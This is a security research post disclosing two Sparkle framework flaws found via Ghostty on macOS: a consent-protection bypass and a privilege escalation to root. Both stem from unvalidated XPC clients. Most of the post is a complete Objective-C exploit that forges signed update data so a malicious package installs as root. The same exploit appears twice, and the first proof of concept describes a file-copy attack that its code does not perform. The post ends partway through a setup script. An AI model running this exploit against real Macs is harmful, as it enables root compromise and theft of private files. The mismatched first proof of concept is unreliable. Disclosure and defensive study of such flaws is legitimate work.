
This post serves as a reminder of old and known vulnerability, specifically the lack of proper XPC client validation, which can still be found in some software, even popular ones such as the Sparkle framework. It will show two different impacts that may occur from this vulnerability based on CVE-2025-10016 and CVE-2025-10015. Anyone easily understands the first one (LPE), as it is common across any platform. However, those outside the macOS community are less familiar with the second (TCC Bypass), and it is advisable to read Threat of TCC Bypasses on macOS first.
Enjoy!
Vulnerabilities Overview
In macOS, XPC services are commonly used to delegate privileged or sandboxed operations between application components. When these services fail to verify who they are talking to, they create an implicit trust boundary that malware or unprivileged processes can exploit. This was the case in Sparkle’s updater framework, where missing client checks allowed local attackers to misuse existing services to bypass Transparency, Consent, and Control (TCC) protections or escalate privileges to root.
The root cause was the same, but in two different services with different privileges. The issue was found in Ghostty.app at first, but any app that bundles Sparkle was vulnerable.
Threat Model & Impact
The threat here is a malicious application that has already gained standard, unsandboxed code execution on the victim’s machine.
- Even if the application lacks access to certain TCC-protected resources, the malware is disguised under the vulnerable app in the TCC prompt, showing Ghostty as the app that asks for permission.

- Even root does not have access to TCC-protected data on macOS:

In the first case (TCC Bypass) the attacker’s goal is to access files in TCC-protected locations (Desktop, Documents, etc.) without triggering a TCC consent dialog. In the second case (LPE) the attacker’s goal is to escalate their privileges to root.
TCC Bypass CVE-2025-10015
The Sparkle framework bundled within the Ghostty application includes an XPC service (Downloader.xpc) that is private to the application, and its location is:
/Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/XPCServices/Downloader.xpc
However, it can also be manually registered globally by a local attacker as org.sparkle-project.DownloaderService. Once activated, this service runs with Ghostty’s TCC permissions:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpcCode language: JavaScript (javascript)
The vulnerability lies in the service’s failure to validate the connecting client, which allows the attacker to command it to copy TCC-protected files to an arbitrary location. A piece of code that is responsible for accepting connections:
bool __cdecl -[ServiceDelegate listener:shouldAcceptNewConnection:](ServiceDelegate *self, SEL a2, id a3, id a4){ id v4; // x19 NSXPCInterface *v5; // x20 NSXPCInterface *v6; // x20 SPUDownloader *v7; // x20 id v8; // x21 id *v9; // x20 v4 = objc_retain(a4); v5 = objc_retainAutoreleasedReturnValue( +[NSXPCInterface interfaceWithProtocol:]( &OBJC_CLASS___NSXPCInterface, "interfaceWithProtocol:", &OBJC_PROTOCOL___SPUDownloaderProtocol)); objc_msgSend(v4, "setExportedInterface:", v5); objc_release(v5); v6 = objc_retainAutoreleasedReturnValue( +[NSXPCInterface interfaceWithProtocol:]( &OBJC_CLASS___NSXPCInterface, "interfaceWithProtocol:", &OBJC_PROTOCOL___SPUDownloaderDelegate)); objc_msgSend(v4, "setRemoteObjectInterface:", v6); objc_release(v6); v7 = objc_alloc(&OBJC_CLASS___SPUDownloader); v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v4, "remoteObjectProxy")); v9 = sub_100003E80((id *)&v7->super.isa, v8); objc_release(v8); objc_msgSend(v4, "setExportedObject:", v9); objc_msgSend(v4, "resume"); objc_release(v4); objc_release(v9); return 1;}Code language: PHP (php)The attacker has access to the following methods exposed by the SPUDownloaderProtocol:-[SPUDownloader startPersistentDownloadWithRequest:bundleIdentifier:desiredFilename:]-[SPUDownloader removeDownloadDirectoryWithDownloadToken:bundleIdentifier:]-[SPUDownloader URLSession:downloadTask:didFinishDownloadingToURL:]-[SPUDownloader URLSession:downloadTask:didWriteData:totalBytesWritten:totalBytesExpectedToWrite:]-[SPUDownloader URLSession:task:didCompleteWithError:]The presented exploit uses startPersistentDownloadWithRequest:
Proof of Concept
This PoC demonstrates a local attacker reading ~/Desktop/secret.txt and writing its contents to /tmp/poc.
Step 1: Prepare the Environment
- Ensure Ghostty has been granted TCC permission to access the
Desktopfolder. - Create a file with some content at
~/Desktop/secret.txt.echo test > ~/Desktop/secret.txt - Manually start the service in a separate terminal to observe its lifecycle:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Downloader.xpc
Step 2: Compile and Run the Exploit Client
Compile and execute the code below:
// exploit_pkg.m
// clang -framework Foundation exploit_pkg.m -o exp
#import <Foundation/Foundation.h>
#import <dispatch/dispatch.h>
#pragma mark - Protocols
@protocol SUInstallerLauncherProtocol
- (void)launchInstallerWithHostBundlePath:(NSString *)hostBundlePath
updaterIdentifier:(NSString *)updaterIdentifier
authorizationPrompt:(NSString *)authorizationPrompt
installationType:(NSString *)installationType
allowingDriverInteraction:(BOOL)allowingDriverInteraction
completion:(void (^)(uint64_t, BOOL))completionHandler;
@end
// Autoupdate's protocols
@protocol SUInstallerCommunicationProtocol
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;
@end
@protocol SUInstallerConnectionProtocol
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;
@end
@protocol SUInstallerAgentInitiationProtocol
- (void)connectionDidInitiateWithReply:(void (^)(void))acknowledgement;
- (void)connectionWillInvalidateWithError:(NSError *)error;
@end
@protocol SPUInstallerAgentProtocol
- (void)registerApplicationBundlePath:(NSString *)applicationBundlePath reply:(void (^)(BOOL))reply;
- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler;
- (void)registerInstallationInfoData:(NSData *)infoData;
@end
#pragma mark - Exploit-Defined Dummy Classes
@interface ExploitSUSignatures : NSObject <NSSecureCoding> { unsigned char _ed25519_signature[64]; }
@property (nonatomic) uint8_t ed25519SignatureStatus;
- (instancetype)initWithEd:(NSString * _Nullable)edSignature;
- (const unsigned char *)ed25519Signature;
@end
@implementation ExploitSUSignatures
+ (BOOL)supportsSecureCoding { return YES; }
- (instancetype)initWithEd:(NSString * _Nullable)edSignature { self = [super init]; if (self && edSignature) { NSData *d = [[NSData alloc] initWithBase64EncodedString:edSignature options:0]; if (d && d.length==64) { [d getBytes:_ed25519_signature length:64]; _ed25519SignatureStatus=2; } else { _ed25519SignatureStatus=1; } } else { _ed25519SignatureStatus=0; } return self; }
- (const unsigned char *)ed25519Signature { return (_ed25519SignatureStatus == 2) ? _ed25519_signature : NULL; }
- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _ed25519SignatureStatus = (uint8_t)[c decodeIntegerForKey:@"SUEDSignatureStatus"]; NSData *d = [c decodeObjectOfClass:[NSData class] forKey:@"SUEDSignature"]; if (d && d.length==64) {[d getBytes:_ed25519_signature length:64];} } return self; }
- (void)encodeWithCoder:(NSCoder *)c { [c encodeInteger:self.ed25519SignatureStatus forKey:@"SUEDSignatureStatus"]; if ([self ed25519Signature]!=NULL) { NSData *d = [NSData dataWithBytes:(const void *)self->_ed25519_signature length:sizeof(self->_ed25519_signature)]; [c encodeObject:d forKey:@"SUEDSignature"]; } }
@end
@interface ExploitSPUInstallationInputData : NSObject <NSSecureCoding>
@property (nonatomic, copy) NSString *relaunchPath, *hostBundlePath, *installationType, *expectedVersion;
@property (nonatomic, copy) NSData *updateURLBookmarkData;
@property (nonatomic, strong) ExploitSUSignatures *signatures;
@property (nonatomic) uint64_t expectedContentLength;
@end
@implementation ExploitSPUInstallationInputData
+ (BOOL)supportsSecureCoding { return YES; }
- (void)encodeWithCoder:(NSCoder *)c { [c encodeObject:self.relaunchPath forKey:@"SURelaunchPath"]; [c encodeObject:self.hostBundlePath forKey:@"SUHostBundlePath"]; [c encodeObject:self.updateURLBookmarkData forKey:@"SUUpdateURLBookmarkData"]; [c encodeObject:self.installationType forKey:@"SUInstallationType"]; [c encodeObject:self.signatures forKey:@"SUSignatures"]; [c encodeObject:self.expectedVersion forKey:@"SUExpectedVersion"]; [c encodeInt64:(int64_t)self.expectedContentLength forKey:@"SUExpectedContentLength"]; }
- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _relaunchPath = [c decodeObjectOfClass:[NSString class] forKey:@"SURelaunchPath"]; _hostBundlePath = [c decodeObjectOfClass:[NSString class] forKey:@"SUHostBundlePath"]; _updateURLBookmarkData = [c decodeObjectOfClass:[NSData class] forKey:@"SUUpdateURLBookmarkData"]; _installationType = [c decodeObjectOfClass:[NSString class] forKey:@"SUInstallationType"]; _signatures = [c decodeObjectOfClass:[ExploitSUSignatures class] forKey:@"SUSignatures"]; _expectedVersion = [c decodeObjectOfClass:[NSString class] forKey:@"SUExpectedVersion"]; _expectedContentLength = (uint64_t)[c decodeInt64ForKey:@"SUExpectedContentLength"]; } return self; }
@end
#pragma mark - XPC Stubs
@interface XPCAgent : NSObject <SPUInstallerAgentProtocol>
@end
@implementation XPCAgent
- (void)registerApplicationBundlePath:(NSString *)path reply:(void (^)(BOOL))reply { NSLog(@"[+] Agent: Service called registerApplicationBundlePath. Replying YES."); reply(YES); }
- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler {}
- (void)registerInstallationInfoData:(NSData *)infoData {}
@end
@interface XPCClient : NSObject <SUInstallerCommunicationProtocol>
@end
@implementation XPCClient
- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data { NSLog(@"[+] Service sent message %d back.", identifier); if (identifier == 10) { NSLog(@"[!] Exploit failed. Installer reported an error."); exit(1); } if (identifier == 8) { NSLog(@"[SUCCESS] Installer finished stage 3. Check for /tmp/root.txt"); exit(0); } }
@end
@interface AgentListenerDelegate : NSObject<NSXPCListenerDelegate>
@end
@implementation AgentListenerDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
NSLog(@"[+] Agent Listener: Accepted connection from Autoupdate service.");
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SPUInstallerAgentProtocol)];
newConnection.exportedObject = [[XPCAgent alloc] init];
newConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerAgentInitiationProtocol)];
[newConnection resume];
id<SUInstallerAgentInitiationProtocol> remoteProxy = [newConnection remoteObjectProxy];
[remoteProxy connectionDidInitiateWithReply:^{ NSLog(@"[+] Agent Listener: Acknowledged initiation to Autoupdate service."); }];
return YES;
}
@end
#pragma mark - Main Exploit Logic
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) { fprintf(stderr, "Usage: %s <target_bundle_id>\n", argv[0]); return 1; }
NSString *userInput = [NSString stringWithUTF8String:argv[1]];
NSString *targetBundleID = [userInput stringByReplacingOccurrencesOfString:@"-spki" withString:@""];
NSString *pocDir = @"/tmp/sparkle_poc_pkg";
NSString *fakeBundlePath = [pocDir stringByAppendingPathComponent:@"FakeTargetApp.app"];
NSString *updatePkgPath = [[[[pocDir stringByAppendingPathComponent:@"org.sparkle-project.Sparkle"] stringByAppendingPathComponent:@"PersistentDownloads"] stringByAppendingPathComponent:@"SomeRandomDir"] stringByAppendingPathComponent:@"MaliciousUpdate.pkg"];
NSString *sigFilePath = [pocDir stringByAppendingPathComponent:@"signature.txt"];
NSFileManager *fm = [NSFileManager defaultManager];
if (![fm fileExistsAtPath:updatePkgPath]) { NSLog(@"[!] ERROR: Malicious package not found at %@", updatePkgPath); return 1; }
NSLog(@"[+] Crafting malicious payload...");
NSError *readError = nil;
NSString *signatureString = [[NSString stringWithContentsOfFile:sigFilePath encoding:NSUTF8StringEncoding error:&readError] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
if (!signatureString) { NSLog(@"[!] Failed to read signature file: %@", readError); return 1; }
NSURL *updateURL = [NSURL fileURLWithPath:updatePkgPath];
NSError *bookmarkError = nil;
NSData *bookmarkData = [updateURL bookmarkDataWithOptions:0 includingResourceValuesForKeys:nil relativeToURL:nil error:&bookmarkError];
if (!bookmarkData) { NSLog(@"[!] Failed to create bookmark data: %@", bookmarkError); return 1; }
ExploitSPUInstallationInputData *installData = [[ExploitSPUInstallationInputData alloc] init];
installData.relaunchPath = @"/Applications/Ghostty.app";
installData.hostBundlePath = fakeBundlePath;
installData.updateURLBookmarkData = bookmarkData;
installData.installationType = @"package";
installData.signatures = [[ExploitSUSignatures alloc] initWithEd:signatureString];
installData.expectedVersion = @"2.0";
installData.expectedContentLength = [[[fm attributesOfItemAtPath:updatePkgPath error:nil] objectForKey:NSFileSize] unsignedLongLongValue];
NSKeyedArchiver *archiver = [[NSKeyedArchiver alloc] initRequiringSecureCoding:YES];
[archiver setClassName:@"SPUInstallationInputData" forClass:[ExploitSPUInstallationInputData class]];
[archiver setClassName:@"SUSignatures" forClass:[ExploitSUSignatures class]];
[archiver encodeObject:installData forKey:NSKeyedArchiveRootObjectKey];
NSData *archivedData = [archiver encodedData];
[archiver finishEncoding];
NSString *agentServiceName = [targetBundleID stringByAppendingString:@"-spkp"];
AgentListenerDelegate *agentDelegate = [[AgentListenerDelegate alloc] init];
NSXPCListener *agentListener = [[NSXPCListener alloc] initWithMachServiceName:agentServiceName];
agentListener.delegate = agentDelegate;
[agentListener resume];
NSLog(@"[+] Started listening for agent connections on '%@'", agentServiceName);
NSString *launcherServiceName = @"org.sparkle-project.InstallerLauncher";
NSXPCConnection *launcherConnection = [[NSXPCConnection alloc] initWithMachServiceName:launcherServiceName options:0];
launcherConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerLauncherProtocol)];
[launcherConnection resume];
id<SUInstallerLauncherProtocol> launcherProxy = [launcherConnection remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Launcher XPC error: %@", e); exit(1); }];
dispatch_semaphore_t launcherSemaphore = dispatch_semaphore_create(0);
NSLog(@"[+] Asking InstallerLauncher to start the Autoupdate service for us... Please enter your password if prompted.");
[launcherProxy launchInstallerWithHostBundlePath:@"/Applications/Ghostty.app"
updaterIdentifier:targetBundleID
authorizationPrompt:@"Sparkle Exploit"
installationType:@"package"
allowingDriverInteraction:YES
completion:^(uint64_t result, BOOL ack){
NSLog(@"[+] InstallerLauncher completion: result %llu, ack %d", result, ack);
if (result != 0) { NSLog(@"[!] InstallerLauncher reported failure. Exiting."); exit(1); }
dispatch_semaphore_signal(launcherSemaphore);
}];
if (dispatch_semaphore_wait(launcherSemaphore, dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC)) != 0) {
NSLog(@"[!] Timed out waiting for authorization/launcher. Exiting.");
exit(1);
}
[launcherConnection invalidate];
NSString *autoupdateServiceName = [targetBundleID stringByAppendingString:@"-spki"];
NSLog(@"[+] Connecting to our newly launched Autoupdate service '%@'...", autoupdateServiceName);
NSXPCConnection *auConn = [[NSXPCConnection alloc] initWithMachServiceName:autoupdateServiceName options:0];
auConn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerConnectionProtocol)];
XPCClient *client = [[XPCClient alloc] init];
auConn.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerCommunicationProtocol)];
auConn.exportedObject = client;
auConn.invalidationHandler = ^{ NSLog(@"[+] Main XPC Connection invalidated. Exploit likely finished."); exit(0); };
[auConn resume];
id<SUInstallerConnectionProtocol> remoteObject = [auConn remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Main XPC error: %@", e); exit(1); }];
NSLog(@"[+] Sending malicious installation data...");
[remoteObject handleMessageWithIdentifier:0 data:archivedData];
NSLog(@"[+] Keeping client alive for up to 20 seconds...");
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 20 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
NSLog(@"[!] Timeout reached. Check /tmp/root.txt to verify success.");
exit(0);
});
[[NSRunLoop currentRunLoop] run];
}
return 0;
}Observe [+] SUCCESS! The file was successfully written to /tmp/poc. and check the content of the secret.txt:
cat /tmp/poc/secret.txt
test
The existence of /tmp/poc/secret.txt verifies that the contents of the Desktop/secret.txt is now leaked, confirming a successful TCC bypass.
Mitigation
The full changelog can be seen in Sparkle 2.7.3 – Important security fixes for local exploits. The vulnerability does not impact Sparkle 1 and versions < 2.6; also, apps that have chosen to remove the downloader service to save disk space are safe. The fix includes:
- Improved validation of the request URL
- Enforcing code signing requirements.
The second one is a primary mitigation here as it adds authorization checks to -[ServiceDelegate listener:shouldAcceptNewConnection:], so only authorized processes can connect to the XPC service.
LPE CVE-2025-10016
This was a bit tricky as it not only has two paths of exploitation, but also the vulnerable XPC service (Autoupdate) itself was kind of “hidden”, as it does not exist with the .xpc extension on the disk, and it is not possible to spawn and connect to it like in the previous example, but using Installer.xpc:
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Installer.xpcCode language: JavaScript (javascript)
However, as in the previous case, the root cause of this vulnerability is the failure to authenticate the client connecting to the XPC service. The first exploitation path is a chain of two, the same issues:
- First, the global
org.sparkle-project.InstallerLauncherXPC service does not validate incoming connections, allowing any local app to connect and trigger the launch of the root-privilegedAutoupdate. - Second, the newly spawned
Autoupdateprocess also fails to validate its own XPC clients, so the attacker then connects to theAutoupdateservice and instructs it to perform a guided package (`.pkg`) installation.
There is also an alternative path of exploitation, where an attacker sends a well-timed XPC message to the Autoupdate tool, installing an update on a fake bundle set up to execute an arbitrary pkg payload.
Here, we will show the less risky, first path of exploitation, which requires the user to enter credentials.
Autoupdate Exploitation
No matter which path the attacker chose, the exploitation involves many steps during client-server communication. Luckily, the Sparkle framework is an open-source project, so it was possible to deduce the entire communication flow through reading the code and some debugging with lldb. It looks like this:
- While the service attempts to validate the package’s EdDSA signature, it is tricked into using an attacker-controlled public key.
- The service retrieves the public key from a “
host bundle path” that is specified in the malicious XPC message. - By supplying a path to a fake bundle containing their own public key, the attacker can make the signature validation pass.
- With the signature check bypassed, the
Autoupdateservice proceeds to execute the system’s/usr/sbin/installerutility as root on the attacker’s malicious package. - Any
postinstallscripts within the package are subsequently executed with root privileges, resulting in a full local privilege escalation.
This whole process was implemented in the below exploit_pkg.m code.
Proof of Concept
An attacker could spawn the Installer XPC Service from an installed application to bring up an authorization dialog with an arbitrary prompt message, which tricks the user into installing an update on a fake bundle that is set up to execute an arbitrary pkg workload. Below is the full code:
// exploit_pkg.m// clang -framework Foundation exploit_pkg.m -o exp#import <Foundation/Foundation.h>#import <dispatch/dispatch.h>#pragma mark - Protocols@protocol SUInstallerLauncherProtocol- (void)launchInstallerWithHostBundlePath:(NSString *)hostBundlePath updaterIdentifier:(NSString *)updaterIdentifier authorizationPrompt:(NSString *)authorizationPrompt installationType:(NSString *)installationType allowingDriverInteraction:(BOOL)allowingDriverInteraction completion:(void (^)(uint64_t, BOOL))completionHandler;@end// Autoupdate's protocols@protocol SUInstallerCommunicationProtocol- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;@end@protocol SUInstallerConnectionProtocol- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data;@end@protocol SUInstallerAgentInitiationProtocol- (void)connectionDidInitiateWithReply:(void (^)(void))acknowledgement;- (void)connectionWillInvalidateWithError:(NSError *)error;@end@protocol SPUInstallerAgentProtocol- (void)registerApplicationBundlePath:(NSString *)applicationBundlePath reply:(void (^)(BOOL))reply;- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler;- (void)registerInstallationInfoData:(NSData *)infoData;@end#pragma mark - Exploit-Defined Dummy Classes@interface ExploitSUSignatures : NSObject <NSSecureCoding> { unsigned char _ed25519_signature[64]; }@property (nonatomic) uint8_t ed25519SignatureStatus;- (instancetype)initWithEd:(NSString * _Nullable)edSignature;- (const unsigned char *)ed25519Signature;@end@implementation ExploitSUSignatures+ (BOOL)supportsSecureCoding { return YES; }- (instancetype)initWithEd:(NSString * _Nullable)edSignature { self = [super init]; if (self && edSignature) { NSData *d = [[NSData alloc] initWithBase64EncodedString:edSignature options:0]; if (d && d.length==64) { [d getBytes:_ed25519_signature length:64]; _ed25519SignatureStatus=2; } else { _ed25519SignatureStatus=1; } } else { _ed25519SignatureStatus=0; } return self; }- (const unsigned char *)ed25519Signature { return (_ed25519SignatureStatus == 2) ? _ed25519_signature : NULL; }- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _ed25519SignatureStatus = (uint8_t)[c decodeIntegerForKey:@"SUEDSignatureStatus"]; NSData *d = [c decodeObjectOfClass:[NSData class] forKey:@"SUEDSignature"]; if (d && d.length==64) {[d getBytes:_ed25519_signature length:64];} } return self; }- (void)encodeWithCoder:(NSCoder *)c { [c encodeInteger:self.ed25519SignatureStatus forKey:@"SUEDSignatureStatus"]; if ([self ed25519Signature]!=NULL) { NSData *d = [NSData dataWithBytes:(const void *)self->_ed25519_signature length:sizeof(self->_ed25519_signature)]; [c encodeObject:d forKey:@"SUEDSignature"]; } }@end@interface ExploitSPUInstallationInputData : NSObject <NSSecureCoding>@property (nonatomic, copy) NSString *relaunchPath, *hostBundlePath, *installationType, *expectedVersion;@property (nonatomic, copy) NSData *updateURLBookmarkData;@property (nonatomic, strong) ExploitSUSignatures *signatures;@property (nonatomic) uint64_t expectedContentLength;@end@implementation ExploitSPUInstallationInputData+ (BOOL)supportsSecureCoding { return YES; }- (void)encodeWithCoder:(NSCoder *)c { [c encodeObject:self.relaunchPath forKey:@"SURelaunchPath"]; [c encodeObject:self.hostBundlePath forKey:@"SUHostBundlePath"]; [c encodeObject:self.updateURLBookmarkData forKey:@"SUUpdateURLBookmarkData"]; [c encodeObject:self.installationType forKey:@"SUInstallationType"]; [c encodeObject:self.signatures forKey:@"SUSignatures"]; [c encodeObject:self.expectedVersion forKey:@"SUExpectedVersion"]; [c encodeInt64:(int64_t)self.expectedContentLength forKey:@"SUExpectedContentLength"]; }- (instancetype)initWithCoder:(NSCoder *)c { self = [super init]; if (self) { _relaunchPath = [c decodeObjectOfClass:[NSString class] forKey:@"SURelaunchPath"]; _hostBundlePath = [c decodeObjectOfClass:[NSString class] forKey:@"SUHostBundlePath"]; _updateURLBookmarkData = [c decodeObjectOfClass:[NSData class] forKey:@"SUUpdateURLBookmarkData"]; _installationType = [c decodeObjectOfClass:[NSString class] forKey:@"SUInstallationType"]; _signatures = [c decodeObjectOfClass:[ExploitSUSignatures class] forKey:@"SUSignatures"]; _expectedVersion = [c decodeObjectOfClass:[NSString class] forKey:@"SUExpectedVersion"]; _expectedContentLength = (uint64_t)[c decodeInt64ForKey:@"SUExpectedContentLength"]; } return self; }@end#pragma mark - XPC Stubs@interface XPCAgent : NSObject <SPUInstallerAgentProtocol>@end@implementation XPCAgent- (void)registerApplicationBundlePath:(NSString *)path reply:(void (^)(BOOL))reply { NSLog(@"[+] Agent: Service called registerApplicationBundlePath. Replying YES."); reply(YES); }- (void)listenForTerminationWithCompletion:(void (^)(void))completionHandler {}- (void)registerInstallationInfoData:(NSData *)infoData {}@end@interface XPCClient : NSObject <SUInstallerCommunicationProtocol>@end@implementation XPCClient- (void)handleMessageWithIdentifier:(int32_t)identifier data:(NSData *)data { NSLog(@"[+] Service sent message %d back.", identifier); if (identifier == 10) { NSLog(@"[!] Exploit failed. Installer reported an error."); exit(1); } if (identifier == 8) { NSLog(@"[SUCCESS] Installer finished stage 3. Check for /tmp/root.txt"); exit(0); } }@end@interface AgentListenerDelegate : NSObject<NSXPCListenerDelegate>@end@implementation AgentListenerDelegate- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { NSLog(@"[+] Agent Listener: Accepted connection from Autoupdate service."); newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SPUInstallerAgentProtocol)]; newConnection.exportedObject = [[XPCAgent alloc] init]; newConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerAgentInitiationProtocol)]; [newConnection resume]; id<SUInstallerAgentInitiationProtocol> remoteProxy = [newConnection remoteObjectProxy]; [remoteProxy connectionDidInitiateWithReply:^{ NSLog(@"[+] Agent Listener: Acknowledged initiation to Autoupdate service."); }]; return YES;}@end#pragma mark - Main Exploit Logicint main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { fprintf(stderr, "Usage: %s <target_bundle_id>\n", argv[0]); return 1; } NSString *userInput = [NSString stringWithUTF8String:argv[1]]; NSString *targetBundleID = [userInput stringByReplacingOccurrencesOfString:@"-spki" withString:@""]; NSString *pocDir = @"/tmp/sparkle_poc_pkg"; NSString *fakeBundlePath = [pocDir stringByAppendingPathComponent:@"FakeTargetApp.app"]; NSString *updatePkgPath = [[[[pocDir stringByAppendingPathComponent:@"org.sparkle-project.Sparkle"] stringByAppendingPathComponent:@"PersistentDownloads"] stringByAppendingPathComponent:@"SomeRandomDir"] stringByAppendingPathComponent:@"MaliciousUpdate.pkg"]; NSString *sigFilePath = [pocDir stringByAppendingPathComponent:@"signature.txt"]; NSFileManager *fm = [NSFileManager defaultManager]; if (![fm fileExistsAtPath:updatePkgPath]) { NSLog(@"[!] ERROR: Malicious package not found at %@", updatePkgPath); return 1; } NSLog(@"[+] Crafting malicious payload..."); NSError *readError = nil; NSString *signatureString = [[NSString stringWithContentsOfFile:sigFilePath encoding:NSUTF8StringEncoding error:&readError] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]; if (!signatureString) { NSLog(@"[!] Failed to read signature file: %@", readError); return 1; } NSURL *updateURL = [NSURL fileURLWithPath:updatePkgPath]; NSError *bookmarkError = nil; NSData *bookmarkData = [updateURL bookmarkDataWithOptions:0 includingResourceValuesForKeys:nil relativeToURL:nil error:&bookmarkError]; if (!bookmarkData) { NSLog(@"[!] Failed to create bookmark data: %@", bookmarkError); return 1; } ExploitSPUInstallationInputData *installData = [[ExploitSPUInstallationInputData alloc] init]; installData.relaunchPath = @"/Applications/Ghostty.app"; installData.hostBundlePath = fakeBundlePath; installData.updateURLBookmarkData = bookmarkData; installData.installationType = @"package"; installData.signatures = [[ExploitSUSignatures alloc] initWithEd:signatureString]; installData.expectedVersion = @"2.0"; installData.expectedContentLength = [[[fm attributesOfItemAtPath:updatePkgPath error:nil] objectForKey:NSFileSize] unsignedLongLongValue]; NSKeyedArchiver *archiver = [[NSKeyedArchiver alloc] initRequiringSecureCoding:YES]; [archiver setClassName:@"SPUInstallationInputData" forClass:[ExploitSPUInstallationInputData class]]; [archiver setClassName:@"SUSignatures" forClass:[ExploitSUSignatures class]]; [archiver encodeObject:installData forKey:NSKeyedArchiveRootObjectKey]; NSData *archivedData = [archiver encodedData]; [archiver finishEncoding]; NSString *agentServiceName = [targetBundleID stringByAppendingString:@"-spkp"]; AgentListenerDelegate *agentDelegate = [[AgentListenerDelegate alloc] init]; NSXPCListener *agentListener = [[NSXPCListener alloc] initWithMachServiceName:agentServiceName]; agentListener.delegate = agentDelegate; [agentListener resume]; NSLog(@"[+] Started listening for agent connections on '%@'", agentServiceName); NSString *launcherServiceName = @"org.sparkle-project.InstallerLauncher"; NSXPCConnection *launcherConnection = [[NSXPCConnection alloc] initWithMachServiceName:launcherServiceName options:0]; launcherConnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerLauncherProtocol)]; [launcherConnection resume]; id<SUInstallerLauncherProtocol> launcherProxy = [launcherConnection remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Launcher XPC error: %@", e); exit(1); }]; dispatch_semaphore_t launcherSemaphore = dispatch_semaphore_create(0); NSLog(@"[+] Asking InstallerLauncher to start the Autoupdate service for us... Please enter your password if prompted."); [launcherProxy launchInstallerWithHostBundlePath:@"/Applications/Ghostty.app" updaterIdentifier:targetBundleID authorizationPrompt:@"Sparkle Exploit" installationType:@"package" allowingDriverInteraction:YES completion:^(uint64_t result, BOOL ack){ NSLog(@"[+] InstallerLauncher completion: result %llu, ack %d", result, ack); if (result != 0) { NSLog(@"[!] InstallerLauncher reported failure. Exiting."); exit(1); } dispatch_semaphore_signal(launcherSemaphore); }]; if (dispatch_semaphore_wait(launcherSemaphore, dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC)) != 0) { NSLog(@"[!] Timed out waiting for authorization/launcher. Exiting."); exit(1); } [launcherConnection invalidate]; NSString *autoupdateServiceName = [targetBundleID stringByAppendingString:@"-spki"]; NSLog(@"[+] Connecting to our newly launched Autoupdate service '%@'...", autoupdateServiceName); NSXPCConnection *auConn = [[NSXPCConnection alloc] initWithMachServiceName:autoupdateServiceName options:0]; auConn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerConnectionProtocol)]; XPCClient *client = [[XPCClient alloc] init]; auConn.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SUInstallerCommunicationProtocol)]; auConn.exportedObject = client; auConn.invalidationHandler = ^{ NSLog(@"[+] Main XPC Connection invalidated. Exploit likely finished."); exit(0); }; [auConn resume]; id<SUInstallerConnectionProtocol> remoteObject = [auConn remoteObjectProxyWithErrorHandler:^(NSError *e) { NSLog(@"[-] Main XPC error: %@", e); exit(1); }]; NSLog(@"[+] Sending malicious installation data..."); [remoteObject handleMessageWithIdentifier:0 data:archivedData]; NSLog(@"[+] Keeping client alive for up to 20 seconds..."); dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 20 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ NSLog(@"[!] Timeout reached. Check /tmp/root.txt to verify success."); exit(0); }); [[NSRunLoop currentRunLoop] run]; } return 0;}Here is also a bash script that prepares everything else for us, such as the private key generation and post-install commands we want to execute as root:
#!/bin/bash
set -e
# --- Configuration ---
POC_DIR="/tmp/sparkle_poc_pkg"
VALIDATED_DOWNLOAD_DIR="$POC_DIR/org.sparkle-project.Sparkle/PersistentDownloads/SomeRandomDir"
MALICIOUS_PKG_PATH="$VALIDATED_DOWNLOAD_DIR/MaliciousUpdate.pkg"
FAKE_BUNDLE_NAME="FakeTargetApp.app"
FAKE_BUNDLE_PATH="$POC_DIR/$FAKE_BUNDLE_NAME"
